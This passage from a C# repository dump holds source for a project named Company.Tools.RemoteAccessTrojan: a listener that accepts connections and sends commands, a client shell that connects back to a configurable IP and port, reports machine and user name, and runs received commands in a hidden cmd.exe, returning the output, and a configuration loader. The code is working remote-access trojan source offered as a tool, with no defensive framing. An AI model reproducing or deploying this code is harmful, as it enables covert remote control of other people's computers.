{5D6D5868-1ED5-4A92-B412-FC34262541BE}.Debug|x86.Build.0 = Debug|x86 45 | {5D6D5868-1ED5-4A92-B412-FC34262541BE}.Release|Any CPU.ActiveCfg = Release|x86 46 | {5D6D5868-1ED5-4A92-B412-FC34262541BE}.Release|Mixed Platforms.ActiveCfg = Release|x86 47 | {5D6D5868-1ED5-4A92-B412-FC34262541BE}.Release|Mixed Platforms.Build.0 = Release|x86 48 | {5D6D5868-1ED5-4A92-B412-FC34262541BE}.Release|x86.ActiveCfg = Release|x86 49 | {5D6D5868-1ED5-4A92-B412-FC34262541BE}.Release|x86.Build.0 = Release|x86 50 | EndGlobalSection 51 | GlobalSection(SolutionProperties) = preSolution 52 | HideSolutionNode = FALSE 53 | EndGlobalSection 54 | EndGlobal 55 | -------------------------------------------------------------------------------- /Company.Tools.RemoteAccessTrojan/Company.Tools.RemoteAccessTrojan.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Debug 5 | AnyCPU 6 | 8.0.30703 7 | 2.0 8 | {40095B59-0D67-4FCB-BE8E-FA08F4B5EB06} 9 | Library 10 | Properties 11 | Company.Tools.RemoteAccessTrojan 12 | Company.Tools.RemoteAccessTrojan 13 | v4.0 14 | 512 15 | 16 | 17 | true 18 | full 19 | false 20 | bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | x86 25 | 26 | 27 | pdbonly 28 | true 29 | bin\Release\ 30 | TRACE 31 | prompt 32 | 4 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | ApplicationService.cs 49 | 50 | 51 | 52 | ApplicationService.cs 53 | 54 | 55 | Listener.cs 56 | 57 | 58 | 59 | 60 | Shell.cs 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | Logger.cs 69 | 70 | 71 | 72 | 73 | 74 | 75 | 82 | -------------------------------------------------------------------------------- /Company.Tools.RemoteAccessTrojan/Domain/Models/Listener.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Net; 5 | using System.Net.Sockets; 6 | using System.Text; 7 | using System.Threading; 8 | using Company.Tools.RemoteAccessTrojan.Domain.Seedwork; 9 | using Company.Tools.RemoteAccessTrojan.Infrastructure.CrossCutting; 10 | 11 | namespace Company.Tools.RemoteAccessTrojan.Domain.Models 12 | { 13 | public class Listener 14 | { 15 | #region Instances 16 | 17 | private Dictionary _connections; 18 | 19 | #endregion 20 | 21 | #region Properties 22 | 23 | public bool IsStopped { get; set; } 24 | 25 | #endregion 26 | 27 | #region Methods 28 | 29 | #region Constructors 30 | 31 | internal Listener() 32 | { 33 | this._connections = new Dictionary(); 34 | } 35 | 36 | #endregion 37 | 38 | #region Exposed 39 | 40 | internal void Start() 41 | { 42 | var socket = new SocketWrapper(new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)); 43 | socket.Bind(new IPEndPoint(IPAddress.Parse(Config.Current.IpAddress), Config.Current.ListenPort)); 44 | socket.Listen(Config.Current.MaxPendingConnections); 45 | 46 | var thread = new Thread(this.Communication_ListenIncoming); 47 | thread.Start(socket); 48 | } 49 | 50 | internal void Stop() 51 | { 52 | this.IsStopped = true; 53 | foreach (var client in this._connections.Keys) 54 | client.Close(); 55 | } 56 | 57 | internal string SendPayload(Guid connectionIdentifier, string request) 58 | { 59 | var socket = this._connections.Where(x => x.Value.Identifier == connectionIdentifier) 60 | .Select(x => x.Key) 61 | .Single(); 62 | var response = this.Communication_SendPayload(socket, request); 63 | return response; 64 | } 65 | 66 | #endregion 67 | 68 | #region Communication 69 | 70 | private void Communication_ListenIncoming(object state) 71 | { 72 | var socket = (SocketWrapper)state; 73 | 74 | while (true) 75 | { 76 | var client = socket.Accept(); 77 | if (!this.IsStopped) 78 | { 79 | var thread = new Thread(this.Communication_ProcessResponse); 80 | thread.Start(client); 81 | } 82 | else 83 | { 84 | break; 85 | } 86 | } 87 | } 88 | 89 | private void Communication_ProcessResponse(object state) 90 | { 91 | var client = (SocketWrapper)state; 92 | 93 | if (!this._connections.ContainsKey(client)) 94 | { 95 | var connection = Connection.Parse(client.ReadString()); 96 | this._connections.Add(client, connection); 97 | this.OnConnectionEstablished(new ConnectionEventArgs(connection)); 98 | } 99 | } 100 | 101 | private string Communication_SendPayload(SocketWrapper client, string request) 102 | { 103 | int sent = client.WriteString(request); 104 | var response = client.ReadString(); 105 | return response; 106 | } 107 | 108 | #endregion 109 | 110 | #region Events 111 | 112 | public event EventHandler ConnectionEstablished; 113 | 114 | protected virtual void OnConnectionEstablished(ConnectionEventArgs e) 115 | { 116 | EventHandler handler = this.ConnectionEstablished; 117 | if (handler != null) handler(this, e); 118 | } 119 | 120 | #endregion 121 | 122 | #endregion 123 | } 124 | } -------------------------------------------------------------------------------- /Company.Tools.RemoteAccessTrojan/Domain/Models/Shell.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Diagnostics; 4 | using System.Linq; 5 | using System.Net; 6 | using System.Net.Sockets; 7 | using System.Text; 8 | using System.Threading; 9 | using Company.Tools.RemoteAccessTrojan.Domain.Seedwork; 10 | using Company.Tools.RemoteAccessTrojan.Infrastructure.CrossCutting; 11 | 12 | namespace Company.Tools.RemoteAccessTrojan.Domain.Models 13 | { 14 | public class Shell 15 | { 16 | #region Instances 17 | 18 | private Dictionary _processes; 19 | 20 | #endregion 21 | 22 | #region Properties 23 | 24 | public bool IsExiting { get; set; } 25 | public bool IsConnectionInProgress { get; set; } 26 | 27 | #endregion 28 | 29 | #region Methods 30 | 31 | #region Constructors 32 | 33 | internal Shell() 34 | { 35 | this._processes = new Dictionary(); 36 | } 37 | 38 | #endregion 39 | 40 | #region Exposed 41 | 42 | internal void ReachServer() 43 | { 44 | while (!this.IsExiting) 45 | { 46 | if (this.IsConnectionInProgress) 47 | { 48 | Thread.Sleep(Config.Current.PollInterval); 49 | } 50 | else 51 | { 52 | this.IsConnectionInProgress = true; 53 | var thread = new Thread(this.Communication_Open); 54 | thread.Start(); 55 | } 56 | } 57 | foreach (var process in this._processes) 58 | { 59 | process.Key.Close(); 60 | process.Value.Close(); 61 | } 62 | } 63 | 64 | #endregion 65 | 66 | #region Communication 67 | 68 | private void Communication_Open() 69 | { 70 | var socket = new SocketWrapper(new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)); 71 | 72 | try 73 | { 74 | socket.Connect(new IPEndPoint(IPAddress.Parse(Config.Current.IpAddress), Config.Current.ListenPort)); 75 | 76 | this.Communication_IdentifySelf(socket); 77 | this.Communication_Begin(socket); 78 | } 79 | catch (SocketException) // Server not running 80 | { 81 | this.IsConnectionInProgress = false; 82 | } 83 | } 84 | 85 | private void Communication_IdentifySelf(SocketWrapper socket) 86 | { 87 | socket.WriteString(string.Format(@"{0}\{1}", Environment.MachineName, Environment.UserName)); 88 | } 89 | 90 | private void Communication_Begin(SocketWrapper socket) 91 | { 92 | var stop = false; 93 | while (!stop) 94 | { 95 | var command = socket.ReadString(); 96 | 97 | switch (command) 98 | { 99 | case Connection.STOP: 100 | stop = true; 101 | socket.Close(false); 102 | this.IsConnectionInProgress = false; 103 | break; 104 | case Connection.EXIT: 105 | stop = true; 106 | this.IsExiting = true; 107 | break; 108 | default: 109 | this.Execute(socket, command); 110 | break; 111 | } 112 | } 113 | } 114 | 115 | #endregion 116 | 117 | #region Execution 118 | 119 | private void Execute(SocketWrapper socket, string command) 120 | { 121 | if (!this._processes.ContainsKey(socket)) 122 | { 123 | this._processes.Add(socket, this.CreateProcess()); 124 | } 125 | 126 | var process = this._processes[socket]; 127 | process.StandardInput.WriteLine(command); 128 | 129 | socket.WaitForEof(500); 130 | } 131 | 132 | private Process CreateProcess() 133 | { 134 | var info = new ProcessStartInfo() 135 | { 136 | WorkingDirectory = @"C:\Windows\System32", 137 | FileName = @"C:\Windows\System32\cmd.exe", 138 | WindowStyle = ProcessWindowStyle.Hidden, 139 | UseShellExecute = false, 140 | RedirectStandardInput = true, 141 | RedirectStandardOutput = true 142 | }; 143 | 144 | var process = new Process() 145 | { 146 | StartInfo = info 147 | }; 148 | 149 | process.OutputDataReceived += new DataReceivedEventHandler(this.Process_OutputDataReceived); 150 | process.Start(); 151 | process.BeginOutputReadLine(); 152 | 153 | return process; 154 | } 155 | 156 | #endregion 157 | 158 | #region Handlers 159 | 160 | private void Process_OutputDataReceived(object sender, DataReceivedEventArgs e) 161 | { 162 | var process = (Process)sender; 163 | var socket = this._processes.Where(x => x.Value == process) 164 | .Select(x => x.Key) 165 | .Single(); 166 | socket.WriteString(string.Format("{0}{1}", e.Data, Environment.NewLine), false); 167 | } 168 | 169 | #endregion 170 | 171 | #endregion 172 | } 173 | } -------------------------------------------------------------------------------- /Company.Tools.RemoteAccessTrojan/Infrastructure/CrossCutting/Config.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Configuration; 6 | using System.Reflection; 7 | using Company.Tools.RemoteAccessTrojan.Infrastructure.Logging; 8 | using Company.Tools.RemoteAccessTrojan.Application; 9 | 10 | namespace Company.Tools.RemoteAccessTrojan.Infrastructure.CrossCutting 11 | { 12 | public class Config 13 | { 14 | #region Properties 15 | 16 | // Static 17 | public static Config Current { get; set; } 18 | 19 | // Application 20 | public string ApplicationServiceTypeName { get; set; } 21 | 22 | // Logging 23 | public string LoggerTypeName { get; set; } 24 | public string EventSource { get; set; } 25 | 26 | // Communication 27 | public string IpAddress { get; set; } 28 | public int ListenPort { get; set; } 29 | public int MaxPendingConnections { get; set; } 30 | public int PollInterval { get; set; } 31 | 32 | #endregion 33 | 34 | #region Methods 35 | 36 | #region Constructors 37 | 38 | private Config() 39 | { 40 | } 41 | 42 | #endregion 43 | 44 | #region Exposed 45 | 46 | public static Config Parse(string[] args) 47 | { 48 | var config = Config.GetInstanceFromAppConfig().GetOverwritesFrom(Config.GetInstanceFromArgs(args)); 49 | return config; 50 | } 51 | 52 | #endregion 53 | 54 | #region Loading 55 | 56 | private static Config GetInstanceFromAppConfig() 57 | { 58 | var config = new Config() 59 | { 60 | ApplicationServiceTypeName = Config.GetKeyValue("ApplicationServiceTypeName", typeof(ApplicationService).FullName), 61 | LoggerTypeName = Config.GetKeyValue("LoggerTypeName", typeof(WindowsEventLogger).FullName), 62 | EventSource = Config.GetKeyValue("EventSource", Assembly.GetExecutingAssembly().GetName().Name), 63 | IpAddress = Config.GetKeyValue("IpAddress", "127.0.0.1"), 64 | ListenPort = Config.GetKeyValue("ListenPort", 9999), 65 | MaxPendingConnections = Config.GetKeyValue("MaxPendingConnections", 10), 66 | PollInterval = Config.GetKeyValue("PollInterval", 1000) 67 | }; 68 | return config; 69 | } 70 | 71 | private static Config GetInstanceFromArgs(string[] args) 72 | { 73 | Config config = new Config(); 74 | 75 | foreach (var arg in args) 76 | { 77 | var parts = arg.Split('='); 78 | var key = parts.First(); 79 | var value = parts.Skip(1).First(); 80 | 81 | switch (key.ToLower()) 82 | { 83 | case "a": 84 | case "application": 85 | config.ApplicationServiceTypeName = value; 86 | break; 87 | case "l": 88 | case "logger": 89 | config.LoggerTypeName = value; 90 | break; 91 | case "s": 92 | case "event": 93 | config.EventSource = value; 94 | break; 95 | case "i": 96 | case "ip": 97 | config.IpAddress = value; 98 | break; 99 | case "p": 100 | case "port": 101 | config.ListenPort = value.ConvertTo(); 102 | break; 103 | case "m": 104 | case "connections": 105 | config.MaxPendingConnections = value.ConvertTo(); 106 | break; 107 | case "n": 108 | case "interval": 109 | config.PollInterval = value.ConvertTo(); 110 | break; 111 | } 112 | } 113 | 114 | return config; 115 | } 116 | 117 | private Config GetOverwritesFrom(Config source) 118 | { 119 | var config = new Config() 120 | { 121 | ApplicationServiceTypeName = source.ApplicationServiceTypeName.IsDefaultValue() ? this.ApplicationServiceTypeName : source.ApplicationServiceTypeName, 122 | LoggerTypeName = source.LoggerTypeName.IsDefaultValue() ? this.LoggerTypeName : source.LoggerTypeName, 123 | EventSource = source.EventSource.IsDefaultValue() ? this.EventSource : source.EventSource, 124 | IpAddress = source.IpAddress.IsDefaultValue() ? this.IpAddress : source.IpAddress, 125 | ListenPort = source.ListenPort.IsDefaultValue() ? this.ListenPort : source.ListenPort, 126 | MaxPendingConnections = source.MaxPendingConnections.IsDefaultValue() ? this.MaxPendingConnections : source.MaxPendingConnections, 127 | PollInterval = source.PollInterval.IsDefaultValue() ? this.PollInterval : source.PollInterval, 128 | }; 129 | return config; 130 | } 131 | 132 | #endregion 133 | 134 | #region Helper 135 | 136 | private static T GetKeyValue(string key, T valueIfNotFound) 137 | { 138 | T value = Config.GetKeyValue(key, false); 139 | if (value.IsDefaultValue()) 140 | { 141 | return valueIfNotFound; 142 | } 143 | else 144 | { 145 | return value; 146 | } 147 | } 148 | 149 | private static T GetKeyValue(string key, bool isRequired = true) 150 | { 151 | var typedValue = default(T); 152 | 153 | var value = ConfigurationManager.AppSettings[key]; 154 | if (value != null) 155 | { 156 | typedValue = value.ConvertTo(); 157 | } 158 | else if (isRequired) 159 | { 160 | throw new Exception(string.Format("Required key '{0}' not found in configuration.", key)); 161 | } 162 | 163 | return typedValue; 164 | } 165 | 166 | #endregion 167 | 168 | #endregion 169 | } 170 | } --------------------------------------------------------------------------------